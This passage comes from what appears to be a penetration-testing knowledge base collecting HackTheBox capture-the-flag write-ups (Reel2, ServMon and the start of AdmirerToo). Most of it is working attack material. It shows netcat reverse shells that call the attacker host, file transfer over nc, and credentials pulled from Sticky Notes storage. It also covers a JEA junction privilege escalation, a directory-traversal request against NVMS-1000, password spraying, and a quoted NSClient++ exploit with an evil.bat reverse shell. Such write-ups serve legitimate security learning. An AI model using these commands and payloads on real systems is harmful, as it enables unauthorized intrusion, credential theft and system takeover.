Evil-WinRm is not work at this situation because port 5985 is not open.

So we using Linux Powershell to login.But First Install powershell for Linux

``` bash
apt install gss-ntlmssp
apt-get install powershell
```

After installation can access powershell with pwsh.

Now login with pwsh.

``` bash
root@kali:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

   A new PowerShell stable release is available: v7.0.3 
   Upgrade now, or check out the release page at:       
     https://aka.ms/PowerShell-Release?tag=v7.0.3       

PS /root> $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential k.svensson

PowerShell credential request
Enter your credentials.                                                                                             
Password for user k.svensson: *********

PS /root> Enter-PSSession $offsec_session
[10.10.10.210]: P>
```

Now commands like dir, ls, cd, whoami won't work.

$env:username and $env:domainname works.

``` bash
[10.10.10.210]: P> $env:username
k.svensson
```

We need to Execute powershell commands with the script block

 - [behavior of Out-Default](https://stackoverflow.com/questions/18082746/can-you-change-the-behavior-of-out-default-for-a-script)

``` bash
[10.10.10.210]: P> &{ cd ../Desktop }
[10.10.10.210]: P> &{ ls }


    Directory: C:\Users\k.svensson\Desktop


Mode                LastWriteTime         Length Name                                                              
----                -------------         ------ ----                                                              
-a----        2020/7/30     13:19           2428 Sticky Notes.lnk                                                  
-ar---       2020/10/13      9:17             34 user.txt                                                          


[10.10.10.210]: P> &{ type user.txt}                                                                                210ff91b4373ae60dbc352737555b4b4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb107.jpg)


#### get root

Now, let's change this interface to shell interface for that we need to transfer a nc.exe file and get a reverse shell.

1. open a simple http server.

``` bash
root@kali:~/hackthebox/machine/reel2# ls
nc.exe  pass.txt  user.txt
root@kali:~/hackthebox/machine/reel2# python -m SimpleHTTPServer 80
```

2. transfer nc.exe to the system

 - after running that open a netcat listener.

``` bash
[10.10.10.210]: PS> &{ iwr -uri http://10.10.14.3/nc.exe -o 'C:\Windows\System32\spool\drivers\color\nc.exe'}
[10.10.10.210]: PS> &{ cd 'C:\Windows\System32\spool\drivers\color\'}
[10.10.10.210]: PS> &{ ./nc.exe 10.10.14.3 9001 -e powershell.exe}
```

and we get a reverse shell

``` bash
root@kali:~# nc -lvp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.210.
Ncat: Connection from 10.10.10.210:57417.
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\System32\spool\drivers\color> whoami
whoami
htb\k.svensson
```

We Found nothing in our Enumeration proccess Let's check the log if anything interesting there.

``` bash
PS C:\> dir
dir


    Directory: C:\


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----        7/30/2020  12:15 PM                ExchangeSetupLogs             
d-----        7/30/2020  12:02 PM                inetpub                       
d-----        8/22/2013   5:52 PM                PerfLogs                      
d-r---        10/8/2020   3:29 PM                Program Files                 
d-----        7/30/2020  11:48 AM                Program Files (x86)           
d-r---        7/30/2020   1:17 PM                Users                         
d-----        9/29/2020   6:09 PM                Windows                       
d-----        7/28/2020   2:57 PM                xampp
```

we find 000003.log file in our current user directory Let's get on that.

``` bash
PS C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb> ls
ls


    Directory: C:\Users\k.svensson\AppData\Roaming\stickynotes\Local 
    Storage\leveldb


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
-a----        10/8/2020   3:34 PM           2320 000003.log                    
-a----        7/30/2020   1:19 PM             16 CURRENT                       
-a----        7/30/2020   1:19 PM              0 LOCK                          
-a----       10/13/2020   9:22 AM              0 LOG                           
-a----        10/8/2020   3:34 PM            182 LOG.old                       
-a----        7/30/2020   1:19 PM             41 MANIFEST-000001
```

when we use type command to see inside 000003.log file it's give me gibberish.

So we need to get that file in our local machine.

So we use nc.exe to transfer the file.

1. open a listener in your local machine to get the file content.

``` bash
nc -nvlp 1234 > 000003.log
```
2. In the window reverse shell type this command.

``` bash
PS C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb> cd /
cd /
PS C:\> cmd

cmd
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\>cd "C:\Windows\System32\spool\drivers\color\"
cd "C:\Windows\System32\spool\drivers\color\"

C:\Windows\System32\spool\drivers\color>nc.exe 10.10.14.3 1234 < "C:\users\k.svensson\appdata\roaming\stickynotes\Local Storage/leveldb\000003.log"
nc.exe 10.10.14.3 1234 < "C:\users\k.svensson\appdata\roaming\stickynotes\Local Storage/leveldb\000003.log"
```

Let's check our netcat listener.

``` bash
root@kali:~/hackthebox/machine/reel2# nc -nvlp 1234 > 000003.log
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.210.
Ncat: Connection from 10.10.10.210:51827.
```

use strings command to see content in 000003.log file.

``` bash
root@kali:~/hackthebox/machine/reel2# strings 000003.log 
VERSION
META:app://.
_app://.
__storejs__test__Z
META:app://.
_app://.
{"first":"<p>Credentials for JEA</p><p>jea_test_account:Ab!Q@vcg^%@#1</p>","back":"rgb(255, 242, 171)","title":"rgb(255, 235, 129)","wid":"350","hei":"375","deleted":"no","closed":"yes","locked":"no"}
_app://.
__storejs__test__
_app://.
closed
{"closed":"yes"}
_app://.
{"ids":"1"}y
META:app://.
_app://.
__storejs__test__
_app://.
closed
@:lK
META:app://.
_app://.
closed
{"closed":"yes"}
META:app://.
_app://.
__storejs__test__
_app://.
closed
META:app://.
_app://.
closed
{"closed":"yes"}
META:app://.
_app://.
__storejs__test__
_app://.
closed
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__P
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__]
META:app://.
_app://.
closed
{"closed":"yes"}
META:app://.
_app://.
__storejs__test__
_app://.
closed:
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__b
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__N
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
META:app://.
_app://.
__storejs__test__
```

now We got the username and password

``` bash
username = jea_test_account
password = Ab!Q@vcg^%@#1
```

#### Privilege escalation

Looking at the basic jae_test_account.psrc and .pssc the Check-File commad loads if the contents are from the "C:\ProgramData".

So what we can do we need to create a Symlink to ProgramData directory with Administrator directory.

 - Important:

be sure run this command in PS

``` bash
PS C:\> New-Item -ItemType Junction -Path 'C:\ProgramData\root' -Target 'C:\Users\Administrator'
New-Item -ItemType Junction -Path 'C:\ProgramData\root' -Target 'C:\Users\Administrator'


    Directory: C:\ProgramData


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d----l       10/13/2020  11:02 AM                root
```

Now command will Executed successfully.

So when we login with jea_test_account account we can access Administrator directory also.

Now we need to login with jea_test_account account. So let's open a new terminal and type pwsh.

 - Run the command one by one.

``` bash
root@kali:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

   A new PowerShell stable release is available: v7.0.3 
   Upgrade now, or check out the release page at:       
     https://aka.ms/PowerShell-Release?tag=v7.0.3       

PS /root> $username = "jea_test_account"
PS /root> $password = ConvertTo-SecureString "Ab!Q@vcg^%@#1" -AsPlainText -Force
PS /root> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $password)
PS /root> Enter-PSSession -Computer 10.10.10.210 -credential $cred -ConfigurationName jea_test_account -verbose -debug -Authentication Negotiate
[10.10.10.210]: PS>Check-File C:\programdata\root\Desktop\root.txt
18c458e91c1f45379bc97905034c8ad8
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb108.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb109.jpg)

#### Summary of knowledge

 - bruteforce the OWA login using SprayingToolkit
 - NetNTLMv2 hash stealing using Outlook
 - responder to sniff NTLMv2 Hash
 - hashcat crack NTLMv2 Hash
 - login with pwsh
 - Execute powershell commands with the script block
 - iwr download files
 - nc.exe to transfer the file
 - create a Symlink to ProgramData directory with Administrator directory then use Check-File to read root flag.

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end reel2 -->

</details>

<a id="case-servmon"></a>

## NVMS 路径与本机管理服务

任意文件读取提供登录材料，NSClient++ 的 allowed_hosts 使管理面只能本地访问。SSH 转发、配置文件和任务创建按原次序保留。

<p class="kb-provenance">来源 ServMon · 原记录 2020-04-23 · 17 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-servmon">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start ServMon -->

#### 介绍

操作系统：Windows
难度：容易
点数：20
发行：2020年4月11日
IP：10.10.10.184

user一血用时：3小时08分钟06秒。
root一血用时：3小时34分钟10秒。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb28.jpg)
 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### 信息收集

上nmap

``` bash
C:\Users\HASEE>nmap -sC -sV -v -p- 10.10.10.184 --min-rate=10000
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst:
|_  SYST: Windows_NT
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp    open  http
| fingerprint-strings:
|   GetRequest, HTTPOptions, RTSPRequest:
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo:
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL:
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-favicon: Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5666/tcp  open  tcpwrapped
6063/tcp  open  x11?
6699/tcp  open  napster?
7680/tcp  open  pando-pub?
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest:
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     refo
|_    2-contai
| http-methods:
|_  Supported Methods: GET
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-01-14T13:24:20
| Not valid after:  2021-01-13T13:24:20
| MD5:   1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
|_SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
|_ssl-date: TLS randomness does not represent time
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
```

发现21端口可以使用Anonymous用户无需密码登录

里面发现2个用户文件夹

Nadine

``` bash
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine
```

Nathan

Notes to do.txt

``` bash
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
```

80端口上有一个web应用程序NVMS-1000，为目录遍历漏洞，网上能搜索到exploit

 - [NVMS-1000-Directory-Traversal](https://www.exploit-db.com/exploits/47774)

查看该exploit

``` bash
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html

POC
---------

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

利用此漏洞和之前收集的文本文件的信息，可有读出下面的密码

``` bash
POST /../../../../../../../../../../../../users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.10.10.184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
If-Modified-Since: 0
Authorization: Basic Y3F3Yzpxd2M=
Content-Type: text/plain;charset=UTF-8
Content-Length: 103
Origin: http://10.10.10.184
Connection: close
Referer: http://10.10.10.184/Pages/login.htm
Cookie: dataPort=6063
```

``` bash
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo: 

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
```

在8443端口发现搭建了https服务，搭建了NSClient++的，参考下面的url

 - [About-NSClient++](https://docs.nsclient.org/)

有了密码，现在使用Marcello提供的CrackMapExec对其进行测试以识别帐户(Nadine或Nathan)以及关联的密码！

 - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec/)

``` bash
root@kali:~/vulnhub/ServMon# crackmapexec smb 10.10.10.184 -u Nadine -p pass.txt 
CME          10.10.10.184:445 SERVMON         [*] Windows 10.0 Build 18362 (name:SERVMON) (domain:SERVMON)
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [+] SERVMON\Nadine:L1k3B1gBut7s@W0rk 
[*] KTHXBYE!
root@kali:~/vulnhub/ServMon# crackmapexec smb 10.10.10.184 -u Nathan -p pass.txt 
CME          10.10.10.184:445 SERVMON         [*] Windows 10.0 Build 18362 (name:SERVMON) (domain:SERVMON)
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE 
CME          10.10.10.184:445 SERVMON         [-] SERVMON\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE 
[*] KTHXBYE!
```

现在有了账号密码

Nadine/L1k3B1gBut7s@W0rk

然后使用密码访问其共享，发现并没有权限

``` bash
root@kali:~/vulnhub/ServMon# crackmapexec smb 10.10.10.184 -u Nadine -p L1k3B1gBut7s@W0rk --shares
CME          10.10.10.184:445 SERVMON         [*] Windows 10.0 Build 18362 (name:SERVMON) (domain:SERVMON)
CME          10.10.10.184:445 SERVMON         [+] SERVMON\Nadine:L1k3B1gBut7s@W0rk 
CME          10.10.10.184:445 SERVMON         [+] Enumerating shares
CME          10.10.10.184:445 SERVMON         SHARE           Permissions
CME          10.10.10.184:445 SERVMON         -----           -----------
CME          10.10.10.184:445 SERVMON         ADMIN$          NO ACCESS
CME          10.10.10.184:445 SERVMON         IPC$            READ
CME          10.10.10.184:445 SERVMON         C$              NO ACCESS
[*] KTHXBYE!
```

之后ssh连接，然后切换到目录下，得到user.txt

``` bash
nadine@SERVMON C:\Users\Nadine\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 728C-D22C

 Directory of C:\Users\Nadine\Desktop

08/04/2020  22:28    <DIR>          .
08/04/2020  22:28    <DIR>          ..
23/04/2020  07:25                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)  27,427,053,568 bytes free

nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
daf5f2dab64783e2c42e4249e9821ab7
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb29.jpg)

#### 提权

访问NSClient++的Web界面

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb30.jpg)

执行命令查看密码

``` bash
nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT
```

登录的时候却发现登陆失败，经过研究发现是因为nsclient.ini将指定的host对Web界面的访问。仅允许从本地服务器接口（127.0.0.1）：

``` bash
nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini
´╗┐# If you want to fill this file with all available options run the following command:
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help


; in flight - TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1
...
```

现在使用ssh转发8443tcp端口到本地127.0.0.1

 - [SSH-Port-Forwarding-Example](https://www.ssh.com/ssh/tunneling/example)

``` bash
ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184
```

运行上面的命令之后，成功的访问到了web界面

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb31.jpg)

利用NSClient++ 0.5.2.35 提权漏洞进行提权

参考exploit

 - [NSClient++0.5.2.35-Privilege-Escalation](https://www.exploit-db.com/exploits/46802)

查看exploit

``` bash
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: NSClient++ 0.5.2.35 - Privilege Escalation
Date: 05-05-19
Vulnerable Software: NSClient++ 0.5.2.35
Vendor Homepage: http://nsclient.org/
Version: 0.5.2.35
Software Link: http://nsclient.org/download/
Tested on: Windows 10 x64

Details:
When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file.  From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.  

The user is able to enable the modules to check external scripts and schedule those scripts to run.  There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere.  Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation.  A reboot, as far as I can tell, is required to reload and read the changes to the web config.  

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.

Exploit:
1. Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or
- run the following that is instructed when you select forget password
	C:\Program Files\NSClient++>nscp web -- password --display
	Current password: SoSecret

2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

3. Download nc.exe and evil.bat to c:\temp from attacking machine
	@echo off
	c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe

4. Setup listener on attacking machine
	nc -nlvvp 443

5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
	- foobar
		command = c:\temp\evil.bat

6. Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
	- foobar
		interval = 1m
		command = foobar

7. Restart the computer and wait for the reverse shell on attacking machine
	nc -nlvvp 443
	listening on [any] 443 ...
	connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
	Microsoft Windows [Version 10.0.17134.753]
	(c) 2018 Microsoft Corporation. All rights reserved.

	C:\Program Files\NSClient++>whoami
	whoami
	nt authority\system
	
Risk:
The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System
```

先查看自己的版本看看是否受影响

``` bash
nadine@SERVMON C:\Program Files\NSClient++>nscp test
D       core NSClient++ 0.5.2.35 2018-01-28 x64 Loading settings and logger...
C:\Program Files\NSClient++\nsclient.log could not be opened, Discarding: debug: NSClient++ 0.5.2.35 2018-01-28 x64 Loading se
ttings and logger...
```

确实受到此漏洞的影响，下面先新建一个bat脚本，放到c:\Temp\目录下面

evil.bat
``` bash
@echo off
c:\temp\nc.exe 10.10.14.4 443 -e cmd.exe
```
然后将nc.exe放入c:\temp\目录下

如下图配置一个脚本，以备之后点击之后运行bat文件弹回shell

 - ![](https://miro.medium.com/max/1400/1*madTORF5bnMHwfdLdr4lfQ.png)


从界面上的“control”按钮重新启动NSClient服务；

从Web界面的“queries”选项卡运行上一个脚本...

 - ![](https://miro.medium.com/max/1400/1*pJZJgKjCFzBFe_ronrufbg.png)

成功的返回了shell

``` bash
C:\Users\HASEE\Desktop\hack the box靶机渗透\ServMon>nc.exe -lvp 443
listening on [any] 443 ...
10.10.10.184: inverse host lookup failed: h_errno 11004: NO_DATA (11004:11004)
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.184] 50272: NO_DATA (11004:11004)
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system
```

 - ![](https://miro.medium.com/max/1400/1*1ZPMIoAtS_YRK4m_-z3z5Q.png)

并且得到了最后的root.txt

``` bash
C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 728C-D22C

 Directory of C:\Users\Administrator\Desktop

08/04/2020  23:12    <DIR>          .
08/04/2020  23:12    <DIR>          ..
23/04/2020  08:58                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)  27,433,795,584 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
887fe3797897795b474ceba6a399f7bd
```

 - ![](https://miro.medium.com/max/1132/1*5GY4yUDm4gXIJOqRAUhfAQ.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb32.jpg)

<font color="red">知识点总结：</font>

 - Anonymous用户无需密码登录21 ftp
 - NVMS-1000目录遍历漏洞
 - CrackMapExec对smb进行测试账户及密码
 - ssh本地端口转发
 - NSClient++ 0.5.2.35 提权漏洞
 - 使用nc.exe 10.10.14.4 443 -e cmd.exe命令反弹windows的cmd shell

<font color="red">Game over</font>

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end ServMon -->

</details>




# SSRF、协议转换与内部管理面

URL 校验、重定向和服务端实际请求之间可能出现不同解释。本章把 Adminer、Forge 和 Laser 的原始链放在同一主题下，重点比较地址约束、协议封装、内网可达性和目标应用的输入要求。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/ssrf/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

AdmirerToo 的 OpenTSDB 指标名称会影响后续执行是否真正到达目标函数。

Forge 保留大小写、重定向与内部 FTP 的不同请求路径。

Laser 把打印协议、gRPC 与 gopher 请求连接到内部 Solr，端口转发与网络位置需要一起看。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Adminer 重定向与内部管理面](#case-admirertoo) | admirertoo | SSRF、反序列化、OpenTSDB、CVE-2021-21311 |
| [URL 验证、重定向与内部 FTP](#case-forge) | forge | SSRF、重定向、Python |
| [打印服务、gRPC 与内部 Solr](#case-laser) | laser | gRPC、gopher、Solr、打印协议 |

<a id="case-admirertoo"></a>

## Adminer 重定向与内部管理面

原链从 Adminer 的 SSRF 到 OpenTSDB 执行，再进入 OpenCATS 对象注入和 whois/mailutils 分支。指标名称、可写路径和 whois 配置优先级都是复现时的条件。

<p class="kb-provenance">来源 admirertoo · 原记录 2022-01-23 · 62 个代码块 · 9 处图片引用</p>

<details class="kb-evidence" id="record-admirertoo">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start admirertoo -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	15 Jan 2022
IP:	10.10.11.137

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2130.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nmap -p- -sV -sC -v -oA enum_all --min-rate 4500 --max-rtt-timeout 1500ms 10.10.11.137
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
|   256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_  256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp    open     http           Apache httpd 2.4.38 ((Debian))
|_http-title: Admirer
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
4242/tcp  filtered vrml-multi-use
16010/tcp filtered unknown
16030/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap reveals two open ports and three filtered ports. Most of the time we don’t see filtered ports on HTB boxes, but there is a possibility that we might have to use these ports for specific exploit. Based on SSH version information, it’s safe to assume that it is a Debian OS.

 - Filtered Port: Nmap cannot determine whether the port is open because packet filtering (firewall) prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.

Let’s look in to the HTTP service.

There’s nothing much available on the webpage to begin with. Even after running Directory Brute Force on the page, there’s nothing interesting. However, if we hit any random page, which has 404 status code (not found). we will see generic error information.

If you check the source page of this 404, then we’d find a useful information.

``` bash
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at <a href="mailto:webmaster@admirer-gallery.htb">10.10.11.137</a> Port 80</address>
</body></html>
```

As you can see, we have a domain name, which is quite different than usual. Most of the time the domain of any HTB box is the name of the machine, but this time we have a different one. Add this to hosts file. Let’s look for any vhost on this machine.

``` bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u http://admirer-gallery.htb -H 'Host: FUZZ.admirer-gallery.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4572

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://admirer-gallery.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
